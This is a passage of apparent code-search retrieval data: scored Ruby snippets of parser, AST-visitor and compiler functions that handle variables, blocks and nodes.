end", "title": "" }, { "docid": "50d5da1dadb1dd5a0e9e98a8b14d7b39", "score": "0.6214474", "text": "def on_embvar(value)\n node =\n EmbVar.new(\n value: value,\n location:\n Location.token(\n line: lineno,\n char: char_pos,\n column: current_column,\n size: value.size\n )\n )\n\n tokens << node\n node\n end", "title": "" }, { "docid": "4ec59090c29fa408491d177cf4054d4e", "score": "0.6211719", "text": "def compile_var_ref(node); end", "title": "" }, { "docid": "6ff88af93bff7a379396a397d6a6dfc3", "score": "0.6211156", "text": "def var(name, identifier={:index => 0}, &block)\n element(name, :var, identifier, &block)\n end", "title": "" }, { "docid": "b525c2a0927e758eef68ea17eab3dd41", "score": "0.6151182", "text": "def build_var_assignment(var, value = nil)\n unless var.is_a?(::Parser::AST::Node)\n lvars << var\n return s(:lvasgn, *[var, value].compact)\n end\n\n asign_type = :\"#{var.type.to_s[0]}vasgn\"\n\n s(asign_type, *[var.children[0], value].compact)\n end", "title": "" }, { "docid": "d3571841add1dd0fab2a0bb348f8e477", "score": "0.61421305", "text": "def visit_variable(node); end", "title": "" }, { "docid": "05af3c2136489614120c7a2e1cce4ab0", "score": "0.60530406", "text": "def varDeclaration(typeExpression)\n d = VarDeclarationT.new()\n d.typeExpression = typeExpression\n expect(Tokens::IDENT)\n d.name = getTokenData()\n nextToken()\n if accept(Tokens::EQUAL)\n nextToken()\n d.right = expression()\n end\n return d\n end", "title": "" }, { "docid": "3fa2d07ae52fb43223e666a8572bcb79", "score": "0.60253567", "text": "def copy_var_node(var)\n # If lvar is defined in the last block it is not necessary to copy its node.\n return last_block[:vars][var] if last_block[:vars].has_key? var\n if (node = get_var_node(var)).nil?\n nil\n else\n last_block[:vars][var] = node.clone\n end\n end", "title": "" }, { "docid": "803b8775b5a2f8426ff97a937c14fecb", "score": "0.601952", "text": "def create_block_primitive( block_name, primitive_name, *args )\n if( primitive_name == 'set' and args.length == 2 and args[1] == 'location' )\n _create_block_primitive( block_name, '_set_variable_location', args[0] )\n else\n super\n end\n end", "title": "" }, { "docid": "8abdc734ae4169cf8c988541cb1ef509", "score": "0.60183376", "text": "def visit_var_field(node); end", "title": "" }, { "docid": "8abdc734ae4169cf8c988541cb1ef509", "score": "0.60183376", "text": "def visit_var_field(node); end", "title": "" }, { "docid": "cd26f6c20930b35872594a28cadc8c24", "score": "0.59647655", "text": "def visit_var_field(node)\n value = node.value\n current_scope.add_local_definition(value, :variable) if value.is_a?(Ident)\n\n super\n end", "title": "" }, { "docid": "742177f7f1cdbe2abd5e725f88caf7c5", "score": "0.59645927", "text": "def visit_embvar(node); end", "title": "" }, { "docid": "30b6065cfb58c6ad11594a05cddde865", "score": "0.5959784", "text": "def visit_embvar(node)\n node.copy\n end", "title": "" }, { "docid": "1ee2226743e1ca30e572cac2ab773d91", "score": "0.5953262", "text": "def block_node=(_); end", "title": "" }, { "docid": "1ee2226743e1ca30e572cac2ab773d91", "score": "0.5953262", "text": "def block_node=(_); end", "title": "" }, { "docid": "72bd181363a422c04deb556f56163c20", "score": "0.59377", "text": "def create_block_temporary(args, body, callsite_block=nil)\n @temporary_counter += 1\n name = current_temporary('B-')\n if callsite_block\n new_proc = LaserProc.new(args, body, @graph, callsite_block)\n else\n new_proc = LaserProc.new(args, body)\n end\n binding = Bindings::BlockBinding.new(name, nil)\n add_instruction(:assign, binding, new_proc)\n [binding, new_proc]\n end", "title": "" }, { "docid": "a39c43ff074b13b7fcc0a9c4ca638a9e", "score": "0.58654153", "text": "def block_var; end", "title": "" }, { "docid": "03fdafb59473f4c692e1f1130039c069", "score": "0.58507794", "text": "def gen_var expr = 'nil'\n var = \"l#{@var_i +=1 }\"\n @stmts << \"#{var} = #{expr}\"\n var\n end", "title": "" }, { "docid": "c098a69816d8600b699e55403a9fd4e1", "score": "0.5837109", "text": "def visit_var_ref(node); end", "title": "" }, { "docid": "c098a69816d8600b699e55403a9fd4e1", "score": "0.5837109", "text": "def visit_var_ref(node); end", "title": "" }, { "docid": "44b073cfc9821518c5390c14241272c0", "score": "0.5829264", "text": "def visit_Block(node)\n\t\tGLOBAL_SCOPE[node.name.value] = node.compoundStatement\n\t\tvisit(node.compoundStatement)\n\tend", "title": "" }, { "docid": "bdbf690b85c030b389471041a3331651", "score": "0.5827273", "text": "def visit_var_field(node)\n node.copy(value: visit(node.value))\n end", "title": "" }, { "docid": "cc908e0e5a241a98e485fd534fe272bc", "score": "0.5815903", "text": "def visit_block(node)\n node.copy(\n opening: visit(node.opening),\n block_var: visit(node.block_var),\n bodystmt: visit(node.bodystmt)\n )\n end", "title": "" }, { "docid": "73f129e8c97ec6de32fa203d3dc234cb", "score": "0.58077824", "text": "def compile_var_declaration\n write_tag '<varDec>'\n consume(TokenType::VAR)\n type_token = compile_type\n name_token = consume(TokenType::IDENTIFIER)\n @subroutine_symbol_table.define(name_token.lexeme, type_token.lexeme, 'var')\n while check?(',')\n consume(',')\n name_token = consume(TokenType::IDENTIFIER)\n @subroutine_symbol_table.define(name_token.lexeme, type_token.lexeme, 'var')\n break if check?(';')\n end\n consume(';')\n write_tag '</varDec>'\n end", "title": "" }, { "docid": "2feb622b01fc2eb9a9638c140b60333f", "score": "0.57924235", "text": "def construct_node\n wrap { |bound|\n BoundOperator.new(bound.context) { |node| bound.scope[yield(node, bound.context)] }\n }\n end", "title": "" }, { "docid": "7f04905c21f90d601f0d9a07558cb95f", "score": "0.57784605", "text": "def create_block(line)\r\n # Gather variables\r\n elements = line.split('|')\r\n line_num = elements[0]\r\n last_hash = elements[1]\r\n transactors = elements[2]\r\n time_val = elements[3]\r\n end_hash = elements[4]\r\n # Return Block made with variables\r\n Block.new(line_num, last_hash, transactors, time_val, end_hash)\r\n end", "title": "" }, { "docid": "5e75d98ecc581ed1296d9a68fcc17dbe", "score": "0.5766967", "text": "def getter\n InstanceVariableNode.new ruby_node, [first_child.deep_copy]\n end", "title": "" }, { "docid": "c3944e12a3b2d4b838b9be88ccdd736a", "score": "0.576002", "text": "def var(name, value = nil, &block)\n if block_given?\n @vars[name] = block\n else\n @vars[name] = lambda { value }\n end\n end", "title": "" }, { "docid": "bbbb239dcd5287e9de96f96077e83f0e", "score": "0.5719627", "text": "def var_declaration\n var_name = consume(TokenType::IDENTIFIER, 'Expect variable name.')\n initializer = nil\n initializer = expression if match(TokenType::EQUAL)\n consume(TokenType::SEMICOLON, \"Expect ';' after variable declaration\")\n Stmt::Var.new(var_name, initializer)\n end", "title": "" }, { "docid": "f0724c094e43ae15560f3d52210bed1c", "score": "0.56955653", "text": "def new_block name\n new_b = Block.new( name , @function , @next )\n @next = new_b\n return new_b\n end", "title": "" }, { "docid": "16a66ecc11e0753247d008e0a141999a", "score": "0.5690709", "text": "def visit_lambda_var(node); end", "title": "" }, { "docid": "648c05fc87876d750bfa561d7e5b4d68", "score": "0.5683672", "text": "def visit_binary(node)\n if node.operator == :=~\n left = node.left\n\n if left.is_a?(RegexpLiteral) && left.parts.length == 1 &&\n left.parts.first.is_a?(TStringContent)\n content = left.parts.first\n\n value = content.value\n location = content.location\n start_line = location.start_line\n\n Regexp\n .new(value, Regexp::FIXEDENCODING)\n .names\n .each do |name|\n offset = value.index(/\\(\\?<#{Regexp.escape(name)}>/)\n line = start_line + value[0...offset].count(\"\\n\")\n\n # We need to add 3 to account for these three characters\n # prefixing a named capture (?<\n column = location.start_column + offset + 3\n if value[0...offset].include?(\"\\n\")\n column =\n value[0...offset].length - value[0...offset].rindex(\"\\n\") +\n 3 - 1\n end\n\n ident_location =\n Location.new(\n start_line: line,\n start_char: location.start_char + offset,\n start_column: column,\n end_line: line,\n end_char: location.start_char + offset + name.length,\n end_column: column + name.length\n )\n\n identifier = Ident.new(value: name, location: ident_location)\n current_scope.add_local_definition(identifier, :variable)\n end\n end\n end\n\n super\n end", "title": "" }, { "docid": "b680c7697ec4b24c95207fbb3d584dbf", "score": "0.5683519", "text": "def define_assign_variable(name, node)\n type = node.get_type.to_c_type\n return \"#{type} #{name} = #{node.accept(expression_translator)};\"\n end", "title": "" }, { "docid": "b01a90bee41a838a1bb3eedcd8578ede", "score": "0.5675846", "text": "def on_block(node)\n scope = definitions\n block = Definition::RubyObject.new_from_node(\n node,\n :name => 'block',\n :parents => [scope],\n :update_parents => [:local_variable]\n )\n\n node.each_argument do |arg|\n variable = Definition::RubyObject.new_from_node(arg, :ignore => true)\n\n block.add(arg.type, arg.name, variable)\n end\n\n # Ensure that local variables in the current scope are available inside\n # the block.\n scope.list(:local_variable).each do |variable|\n block.add(variable.type, variable.name, variable)\n end\n\n associate_node_definition(node, block)\n\n @definitions << block\n end", "title": "" }, { "docid": "5aa5548857c591157ab74479aa922554", "score": "0.5674039", "text": "def codegen_expr_var(varnode)\n r = varnode.child(0)\n if $vars.assoc(r)\n var_val = $vars[r]\n #print val,\"val\\n\" \n return var_val \n else\n raise \"No such var(Uninitialized variable)\"\n end \nend", "title": "" }, { "docid": "bd458bf22ad609d538d3bf6011e1b358", "score": "0.56679004", "text": "def with_variables\n [self.code.variables].flatten.each do |var|\n next if do_not_wrap?(var)\n\n add_child InstanceVariableNode.new(var, self)\n end\n end", "title": "" }, { "docid": "62f6e49062462d6258f01dff486f2dcb", "score": "0.5664449", "text": "def visit_ivar(node); end", "title": "" }, { "docid": "dc5af9f19fc0c74406f78acb2bfe8a26", "score": "0.5642936", "text": "def visit_var_field(node)\n name = node.value.value.to_sym\n match_var =\n [stack[-3], stack[-2]].any? do |parent|\n case parent\n when AryPtn, FndPtn, HshPtn, In, RAssign\n true\n when Binary\n parent.operator == :\"=>\"\n else\n false\n end\n end\n\n if match_var\n s(\n :match_var,\n [name],\n smap_variable(srange_node(node.value), srange_node(node.value))\n )\n elsif node.value.is_a?(Const)\n s(\n :casgn,\n [nil, name],\n smap_constant(nil, srange_node(node.value), srange_node(node))\n )\n else\n location = smap_variable(srange_node(node), srange_node(node))\n\n case node.value\n when CVar\n s(:cvasgn, [name], location)\n when GVar\n s(:gvasgn, [name], location)\n when Ident\n s(:lvasgn, [name], location)\n when IVar\n s(:ivasgn, [name], location)\n when VarRef\n s(:lvasgn, [name], location)\n else\n s(:match_rest, [], nil)\n end\n end\n end", "title": "" }, { "docid": "57cfc13aee5ecd8deff2072135ec22ab", "score": "0.56386155", "text": "def make_var_block(blck,filter,dict=nil)\n b,i,go=[],-1,true\n cpt=0\n#p blck\n begin\n#p blck[i+1]\n case blck[i+=1]\n when :var, :\",\"\n#p blck[i]\n i,*b2=next_block(blck,i)\n#puts \"make_var\";p i;p b2\n#deal with\n unless b2.empty?\n name=nil\n if b2[0][0]==:named\n b2=b2[0]\n if b2[0]==:named\n b2 << [:main,\"\"] unless b2[2]\n var=b2[2..-1]\n name=filter.apply(b2[1])\n#puts \"make_var_block:name\";p name\n#p dict\n if dict and (name2=dict.find{|v| v=~/^#{name}/})\n name=name2\n dict.delete(name)\n end\n b2=var\n end\n end\n\n end\n#p name\n#p b2\n#p dict\n\t # DO NOT remove lstrip! Otherwise, there is an error of compilation in test/V3/testECO2.dyn! => README.250808: OK now! The explanation was that is was needed only by @varscan (solved now)! The __STR__ escape the first and last whitespaces\n#p b2\n b2=parse(b2,filter) #.lstrip #.split(\"\\n\")\n#puts \"name\";p name\n#puts \"b2222\";p b2\n\n\t sep=(dict ? \"__ELTS__\" : \"\\n\" )\n #OLD: unless b2.empty? or b2=~/^:?:[#{FilterManager.letters}]*(?:\\[(.*)\\])?\\s*=?(?:=>|,)/\n\t unless b2=~ /^:?:[#{FilterManager.letters}]*(?:\\[(.*)\\])?\\s*=?(?:=>|,)/\n#puts \"ICCIII\";p b2\n name=(dict ? dict.shift : \"var#{cpt+=1}\" ) unless name\n if name\n#puts \"name0\";p name\n#p name[0,1]==\":\"\n#puts \"name\";p name\n\t modif,affect=\"\",\"=>\"\n\t if name[-1,1]==\"?\"\n\t\t name=name[0...-1]\n\t\t if name[-1,1]==\"!\"\n\t\t name=name[0...-1]\n#p filter.envir.local\n\t\t keys2=Envir.to_keys((name[0,1]==\".\" ? \"self\"+name : name)+\"-USER-\" )\n#p keys2\n\t\t env=Envir.elt_defined?(filter.envir.local,keys2)\n#p env\n\t\t if env=Envir.elt_defined?(filter.envir.local,keys2)\n\t\t env[keys2[-1][0..-7]]=env[keys2[-1]]\n\t\t env.delete(keys2[-1])\n\t\t modif=nil\n\t\t b2=nil\n\t\t end\n#p env\n#p filter.envir.extract(name)\n\t\t else\n\t\t modif=\"?\"\n\t\t end\n\t end\n\t if modif\n\t\t if name[-1,1]==\"+\"\n\t\t name=name[0...-1]\n\t\t modif+=\"+\"\n\t\t end\n\t\t if name[-1,1]==\"!\"\n#p \"!!!!\";p name\n\t\t name=name[0...-1]\n\t\t affect=\"==>\"\n\t\t end\n\t\t name=\":\"+name unless name[0,1]==\":\"\n\t\t affect=\"[\"+modif+\"] \"+affect unless modif.empty?\n#p b2.strip\n\t\t if (arr=@varscan.build_vars(b2.strip)) #the stuff for parsing array\n#puts \"arr\";p arr\n#p b2\n\t\t b2=arr.map{|k,v|\n\t\t name+\".\"+k+affect+Utils.protect_blocktext(v)\n\t\t }.join(sep)\n ## add the order!\n ## ONLY for list not array!\n #b2+=sep+name+\"._order_\"+affect+Utils.protect_blocktext(arr.map{|k,v| k}.join(\",\"))\n #p b2\n\t\t else\n#puts \"named\";p b2\n\t\t b2=name+affect+Utils.protect_blocktext(b2) #see README.250808!\n\t\t end\n#p b2\n\t end\n\t else\n#puts \"b2\";p b2\n\t b2=Utils.protect_blocktext(b2) #see README.250808!\n#p b2\n end\n end\n#puts \"b2:#{name}\";p b2\n#p b2.split(sep)\n b += b2.split(sep) if b2\n#puts \"b\";p b\n end\n end while i<blck.length-1\n#puts \"make_var_block\";p b\n return b\n end", "title": "" }, { "docid": "3dd66e153f414782471d6e3211ac4fd1", "score": "0.5636129", "text": "def define_block_argument(name)\n @block_argument = create_variable(name)\n end", "title": "" }, { "docid": "53e7af5cf57bb4589ba1fbb30b112625", "score": "0.5625421", "text": "def __create_block(name, location = nil, &block)\n Bade::Runtime::Block.new(name, location, self, &block)\n end", "title": "" }, { "docid": "f9d135ba8f66ad1f2387bbe414adf068", "score": "0.56222457", "text": "def to_vool\n block_name = \"implicit_block_#{object_id}\".to_sym\n block = Vool::BlockStatement.new( @args.dup , @body.to_vool)\n assign = Vool::LocalAssignment.new( block_name , block)\n sendd = @send.to_vool\n if(sendd.is_a?(Vool::Statements))\n ret = sendd\n sendd = sendd.last\n else\n ret = Vool::Statements.new([sendd])\n end\n sendd.arguments << LocalVariable.new(block_name).to_vool\n ret.prepend(assign)\n ret\n end", "title": "" }, { "docid": "1a8fd6b3c73e491687677aa82d36858e", "score": "0.56218475", "text": "def _VarTok\n\n _save = self.pos\n while true # sequence\n _tmp = match_string(\"var\")\n unless _tmp\n self.pos = _save\n break\n end\n _save1 = self.pos\n _tmp = apply(:_IdentifierPart)\n _tmp = _tmp ? nil : true\n self.pos = _save1\n unless _tmp\n self.pos = _save\n end\n break\n end # end sequence\n\n set_failed_rule :_VarTok unless _tmp\n return _tmp\n end", "title": "" }, { "docid": "76936e0a61f262974ef88c7898a06276", "score": "0.56191635", "text": "def var arg\n Variable.new arg\n end", "title": "" }, { "docid": "5dd4261acf120f2f3c3664ef37f2ba8e", "score": "0.5569761", "text": "def block\n\t\tdeclaration_nodes = declarations\n\t\tcompound_statement_node = compound_statement\n\t\tBlock.new(declaration_nodes, compound_statement_node)\n\tend", "title": "" }, { "docid": "94841ebd59aafabda93706820e76866e", "score": "0.5567487", "text": "def visit_var_stmt(var_stmt)\n declare(var_stmt.name)\n resolve_expr(var_stmt.initializer) unless var_stmt.initializer.nil?\n define(var_stmt.name)\n\n nil\n end", "title": "" }, { "docid": "e9e1b45ce44fe3f104b0cfaa76c81968", "score": "0.5557195", "text": "def on_block_var(params, locals)\n index =\n scanner_events.rindex do |event|\n event[:type] == :@op && %w[| ||].include?(event[:body]) &&\n event[:sc] < params[:sc]\n end\n\n beging = scanner_events[index]\n ending = scanner_events[-1]\n\n {\n type: :block_var,\n body: [params, locals],\n sl: beging[:sl],\n sc: beging[:sc],\n el: ending[:el],\n ec: ending[:ec]\n }\n end", "title": "" }, { "docid": "cc775014563c4e170a4f34e3eaf4b758", "score": "0.55380315", "text": "def create_variable id = nil, options = {}, &block\n options[:id] = id if id\n mime_type = options.delete(:mime_type) || 'text/plain'\n kind = options.delete(:kind) || 'secret'\n var = api.create_variable(mime_type, kind, options)\n do_object var, &block\n end", "title": "" }, { "docid": "8fb7b8b288bc1234acbcfd2afc38e46f", "score": "0.5530463", "text": "def create_block(name = 'B' + (@block_counter += 1).to_s)\n result = BasicBlock.new(name)\n @graph.add_vertex result\n result\n end", "title": "" }, { "docid": "5b45f5c5a70f7d2137fdef4e72fba1e5", "score": "0.55203694", "text": "def new_var(id, domain: nil, assignment: nil)\n vars[id] = Variable.new(id, domain: domain, assignment: assignment)\n end", "title": "" }, { "docid": "b491f13e5c329b7e11b58f578e80852a", "score": "0.5516595", "text": "def on_var_ref(variable)\n return Token::VariableToken.new(\n :line => variable.line,\n :column => variable.column,\n :name => variable.value,\n :type => variable.type,\n :code => code(variable.line)\n )\n end", "title": "" }, { "docid": "ae109529fdddfefc268b3bc2fbe8c455", "score": "0.5515526", "text": "def var\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 5 )\n return_value = VarReturnValue.new\n\n # $rule.start = the first token seen before matching\n return_value.start = @input.look\n\n root_0 = nil\n __VAR21__ = nil\n\n tree_for_VAR21 = nil\n stream_VAR = ANTLR3::AST::RewriteRuleTokenStream.new( @adaptor, \"token VAR\" )\n\n begin\n # at line 31:7: VAR\n __VAR21__ = match( VAR, TOKENS_FOLLOWING_VAR_IN_var_179 )\n stream_VAR.add( __VAR21__ )\n # AST Rewrite\n # elements: VAR\n # token labels: \n # rule labels: return_value\n # token list labels: \n # rule list labels: \n # wildcard labels: \n\n return_value.tree = root_0\n stream_return_value = return_value ? subtree_stream( \"rule return_value\", return_value.tree ) : subtree_stream( \"token return_value\" )\n\n root_0 = @adaptor.create_flat_list\n # 31:11: -> ^( VARIABLE VAR )\n # at line 31:14: ^( VARIABLE VAR )\n root_1 = @adaptor.create_flat_list\n root_1 = @adaptor.become_root( @adaptor.create_from_type( VARIABLE, \"VARIABLE\" ), root_1 )\n\n @adaptor.add_child( root_1, stream_VAR.next_node )\n\n @adaptor.add_child( root_0, root_1 )\n\n\n\n return_value.tree = root_0\n # - - - - - - - rule clean up - - - - - - - -\n return_value.stop = @input.look( -1 )\n\n\n return_value.tree = @adaptor.rule_post_processing( root_0 )\n @adaptor.set_token_boundaries( return_value.tree, return_value.start, return_value.stop )\n\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n return_value.tree = @adaptor.create_error_node( @input, return_value.start, @input.look(-1), re )\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 5 )\n\n end\n \n return return_value\n end", "title": "" }, { "docid": "9493380e912da86710e4858e0dc75fc1", "score": "0.5515164", "text": "def EmbVar(value)\n EmbVar.new(value: value, location: Location.default)\n end", "title": "" }, { "docid": "d87468abb6ea291d894380e595ce34a7", "score": "0.54947287", "text": "def variable(node)\n while node.subject.node_type == :call\n node = node.subject\n end\n subject_node = node.subject\n if [:ivar, :lvar].include?(subject_node.node_type) and subject_node[1] != :_erbout\n subject_node\n else\n nil\n end\n end", "title": "" }, { "docid": "d87468abb6ea291d894380e595ce34a7", "score": "0.54947287", "text": "def variable(node)\n while node.subject.node_type == :call\n node = node.subject\n end\n subject_node = node.subject\n if [:ivar, :lvar].include?(subject_node.node_type) and subject_node[1] != :_erbout\n subject_node\n else\n nil\n end\n end", "title": "" }, { "docid": "989ddfc39cb7476ecc934aef2d5d9769", "score": "0.54908276", "text": "def create_variable\r\n scope = @current_program.scope\r\n if scope == :global\r\n global_variable_list = @current_program.global_variable_list\r\n global_variable_list[self[2].value] = nil\r\n end\r\n end", "title": "" }, { "docid": "03d7f3a7d10f35300f4ef293b7e3af31", "score": "0.54824454", "text": "def createNewVariable(name, *args)\n createVariable(name, args)\nend", "title": "" }, { "docid": "c6c52dba49e212bd6896ebc5ac6908e3", "score": "0.5461388", "text": "def visit_var_ref(node)\n node.copy(value: visit(node.value))\n end", "title": "" }, { "docid": "ff1a771df2f10ac6861043ce3701611d", "score": "0.54510534", "text": "def create\n @variable\n end", "title": "" }, { "docid": "ec2e5e28c2924abd381f2b799ae816af", "score": "0.5437576", "text": "def get_var_node(var, function=@cfunction)\n ret = nil\n old_function = @cfunction\n @cfunction = function\n \n cblock = last_block\n begin\n if cblock[:vars].has_key? var\n ret = cblock[:vars][var]\n break\n end\n cblock = cblock[:parent]\n end until cblock.nil?\n \n @cfunction = old_function\n ret \n end", "title": "" }, { "docid": "28cc04f10e4c91c7fac92316ffd7d8cf", "score": "0.5426291", "text": "def new(*args)\n parsed_node = Treetop::Runtime::SyntaxNode.new(*args)\n\n node_name, node_class = @node_name, @node_class # local scope for the block below\n\n # so the node knows how to build itself:\n parsed_node.meta_def :build do\n node_class.new(self)\n end\n\n # so the node can be filtered based on what kind of AST node it will build\n parsed_node.meta_def :node_to_build do\n node_name\n end\n\n parsed_node\n end", "title": "" }, { "docid": "45edd5ac39733f47adbcce1f40ec5eba", "score": "0.5421514", "text": "def variable_declaration\n var_nodes = [Var.new(@current_token)]\n eat :id\n while @current_token.type == :comma\n eat :comma\n var_nodes << Var.new(@current_token)\n eat :id\n end\n\n eat :colon\n type_node = type_spec\n var_nodes.map { |v| VarDecl.new(v, type_node) }\n end", "title": "" }, { "docid": "4072244732f1593c364f67886685f457", "score": "0.54186416", "text": "def create\n @variable\n end", "title": "" }, { "docid": "cd2b14095600593fbc1ccb218e134093", "score": "0.5414133", "text": "def make(let_expression); end", "title": "" }, { "docid": "cd2b14095600593fbc1ccb218e134093", "score": "0.5414133", "text": "def make(let_expression); end", "title": "" }, { "docid": "e39aca4fa3e5ba24d127194ab1e80d26", "score": "0.54098284", "text": "def callVar\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 22 )\n return_value = CallVarReturnValue.new\n\n # $rule.start = the first token seen before matching\n return_value.start = @input.look\n\n root_0 = nil\n __ID103__ = nil\n __LB104__ = nil\n __RB105__ = nil\n args1 = nil\n\n tree_for_ID103 = nil\n tree_for_LB104 = nil\n tree_for_RB105 = nil\n\n begin\n root_0 = @adaptor.create_flat_list\n\n\n # at line 185:4: ID ( LB (args1= args )? RB )?\n __ID103__ = match( ID, TOKENS_FOLLOWING_ID_IN_callVar_905 )\n\n tree_for_ID103 = @adaptor.create_with_payload( __ID103__ )\n @adaptor.add_child( root_0, tree_for_ID103 )\n\n # --> action\n return_value.result = [VarTree.new(__ID103__.text),tree_for_ID103]\n # <-- action\n # at line 186:3: ( LB (args1= args )? RB )?\n alt_26 = 2\n look_26_0 = @input.peek( 1 )\n\n if ( look_26_0 == LB )\n alt_26 = 1\n end\n case alt_26\n when 1\n # at line 187:3: LB (args1= args )? RB\n __LB104__ = match( LB, TOKENS_FOLLOWING_LB_IN_callVar_916 )\n\n tree_for_LB104 = @adaptor.create_with_payload( __LB104__ )\n @adaptor.add_child( root_0, tree_for_LB104 )\n\n # at line 187:11: (args1= args )?\n alt_25 = 2\n look_25_0 = @input.peek( 1 )\n\n if ( look_25_0 == READ || look_25_0.between?( PLUS, INT ) || look_25_0 == LB || look_25_0 == ID || look_25_0 == NOT || look_25_0.between?( OPENFILE, ALLOC ) || look_25_0 == STRING || look_25_0 == T__67 )\n alt_25 = 1\n end\n case alt_25\n when 1\n # at line 187:11: args1= args\n @state.following.push( TOKENS_FOLLOWING_args_IN_callVar_920 )\n args1 = args\n @state.following.pop\n @adaptor.add_child( root_0, args1.tree )\n\n end\n __RB105__ = match( RB, TOKENS_FOLLOWING_RB_IN_callVar_923 )\n\n tree_for_RB105 = @adaptor.create_with_payload( __RB105__ )\n @adaptor.add_child( root_0, tree_for_RB105 )\n\n # --> action\n return_value.result = [CallTree.new(__ID103__.text,( args1.nil? ? nil : args1.list ),false),tree_for_ID103]\n # <-- action\n\n end\n # - - - - - - - rule clean up - - - - - - - -\n return_value.stop = @input.look( -1 )\n\n\n return_value.tree = @adaptor.rule_post_processing( root_0 )\n @adaptor.set_token_boundaries( return_value.tree, return_value.start, return_value.stop )\n\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n return_value.tree = @adaptor.create_error_node( @input, return_value.start, @input.look(-1), re )\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 22 )\n\n end\n \n return return_value\n end", "title": "" }, { "docid": "c02cf3e5195eadc01c85d98564828620", "score": "0.54095954", "text": "def VarField(value)\n VarField.new(value: value, location: Location.default)\n end", "title": "" }, { "docid": "3e9c536c4378e2000adc8595f75d69f5", "score": "0.5403488", "text": "def assign(variable_node, node, variable_name)\n node.var.connect(variable_name, variable_node.guid)\n end", "title": "" }, { "docid": "2ecf8c4f7605bba8ae68cf87df54f442", "score": "0.5399806", "text": "def relvar(name, create_empty = true, &block) \n relvar = @namespace.relvar(name, create_empty)\n raise ArgumentError, \"No such relvar #{name}\" unless relvar\n relvar.__dsl_execute(&block)\n relvar\n end", "title": "" }, { "docid": "d4b383b5c1ecb9bebf31c325bfdce3ba", "score": "0.5399794", "text": "def new_block new_name\n new_b = Block.new( new_name , self )\n index = @blocks.index( @current )\n @blocks.insert( index + 1 , new_b ) # + one because we want the ne after the insert_at\n return new_b\n end", "title": "" }, { "docid": "31c6248506698c4641e5f97fffcbd5f7", "score": "0.5394117", "text": "def variable(*args)\n Variable.new(self, *args)\n end", "title": "" }, { "docid": "97856996239a133ce18a78e8ba569f5f", "score": "0.5390438", "text": "def new_block new_name\n new_b = Block.new( new_name , @blocks.first.method )\n index = @blocks.index( @current )\n @blocks.insert( index + 1 , new_b ) # + one because we want the ne after the insert_at\n return new_b\n end", "title": "" }, { "docid": "ad73e93f299a4753c8b02fb3dbd520b1", "score": "0.53895897", "text": "def compile_var_ref(node)\n value = node.value\n\n if value.is_a?(Const)\n compile_node(value)\n elsif value.is_a?(Kw) && value.value.nil?\n ->(attribute) { nil === attribute }\n else\n compile_error(node)\n end\n end", "title": "" }, { "docid": "21e11af1beb4ab2c8c0d0c1d42c9dcdf", "score": "0.53721154", "text": "def on_block_var(params, locals); end", "title": "" }, { "docid": "352e07cd6b5642c11a42cb470169641c", "score": "0.53561646", "text": "def new_variable\n @variable = @project.variables.new(variable_params)\n end", "title": "" }, { "docid": "5f54a11f5f1a1a0b59a6e151997ac8a6", "score": "0.5338265", "text": "def variables\n tag_variables = Vars.new\n each do |t|\n if t.default || t.optional\n if t.name =~ /\\./ # set default for nested var\n tag_variables.store_nested(t.name, t.default)\n else\n tag_variables[t.name] = t.default\n end\n end\n end\n tag_variables\n end", "title": "" }, { "docid": "e50029bd59e5852fefda8078e4c3fa7f", "score": "0.53368396", "text": "def visit_gvar(node); end", "title": "" }, { "docid": "3f83cbbc320363ee0499664157b9d1ae", "score": "0.53319687", "text": "def on_brace_block(block_var, statements)\n lbrace = consume_token(LBrace)\n rbrace = consume_token(RBrace)\n location = (block_var || lbrace).location\n\n start_char = find_next_statement_start(location.end_char)\n statements.bind(\n self,\n start_char,\n start_char - line_counts[location.start_line - 1].start,\n rbrace.location.start_char,\n rbrace.location.start_column\n )\n\n location =\n Location.new(\n start_line: lbrace.location.start_line,\n start_char: lbrace.location.start_char,\n start_column: lbrace.location.start_column,\n end_line: [\n rbrace.location.end_line,\n statements.location.end_line\n ].max,\n end_char: rbrace.location.end_char,\n end_column: rbrace.location.end_column\n )\n\n BlockNode.new(\n opening: lbrace,\n block_var: block_var,\n bodystmt: statements,\n location: location\n )\n end", "title": "" }, { "docid": "a1dc1734ba53f24baf7d81073b22c764", "score": "0.53244925", "text": "def create(name, attributes = {}, &block)\n klass = constantize(name)\n\n node = (klass || Node).new(attributes, &block)\n node.nodename = name\n node\n end", "title": "" }, { "docid": "0f9334a2e4cd2b3d47929c4c7587b8e2", "score": "0.5322131", "text": "def visit_ivar(node)\n node.copy\n end", "title": "" }, { "docid": "74bd071b785b07512241c2e16a063fbf", "score": "0.53205323", "text": "def bnode(id = nil)\n if @nd_var_gen\n # Use non-distinguished variables within patterns\n variable(id, false)\n else\n unless id\n id = @options[:anon_base]\n @options[:anon_base] = @options[:anon_base].succ\n end\n @bnode_cache ||= {}\n raise Error, \"Illegal attempt to reuse a BNode\" if @bnode_cache[id] && @bnode_cache[id].frozen?\n @bnode_cache[id] ||= RDF::Node.new(id)\n end\n end", "title": "" }, { "docid": "b81250110fa4f0d3e9ba6e07b7eb748b", "score": "0.53078437", "text": "def with_new(&block)\n @stack.push VariableScope.new\n block.call\n @stack.pop\n end", "title": "" }, { "docid": "260478816f3e1867b04970261014d42c", "score": "0.530658", "text": "def visit_var_ref(node)\n visit(node.value)\n end", "title": "" }, { "docid": "069bc84285f55a12c195f32ad576c178", "score": "0.53001803", "text": "def v2\n Var.new(:v2)\n end", "title": "" }, { "docid": "82f2af4c85921338aa9887dd12c5a882", "score": "0.5300056", "text": "def create_block_from_dup_alt(alt)\n nalt = GrammarAST.dup_tree_no_actions(alt, nil)\n blk = self.attr_ast_factory.make((ASTArray.new(3)).add(self.attr_ast_factory.create(BLOCK, \"BLOCK\")).add(nalt).add(self.attr_ast_factory.create(EOB, \"<end-of-block>\")))\n return blk\n end", "title": "" }, { "docid": "a973b709cc0d84320fbab5cfd9e19a24", "score": "0.529824", "text": "def block_node\n case sexp_type\n when :method_add_block\n self[2]\n end\n end", "title": "" }, { "docid": "ad0b14f4866440d242d311119c3d886e", "score": "0.52761126", "text": "def defvar(name, expr)\n 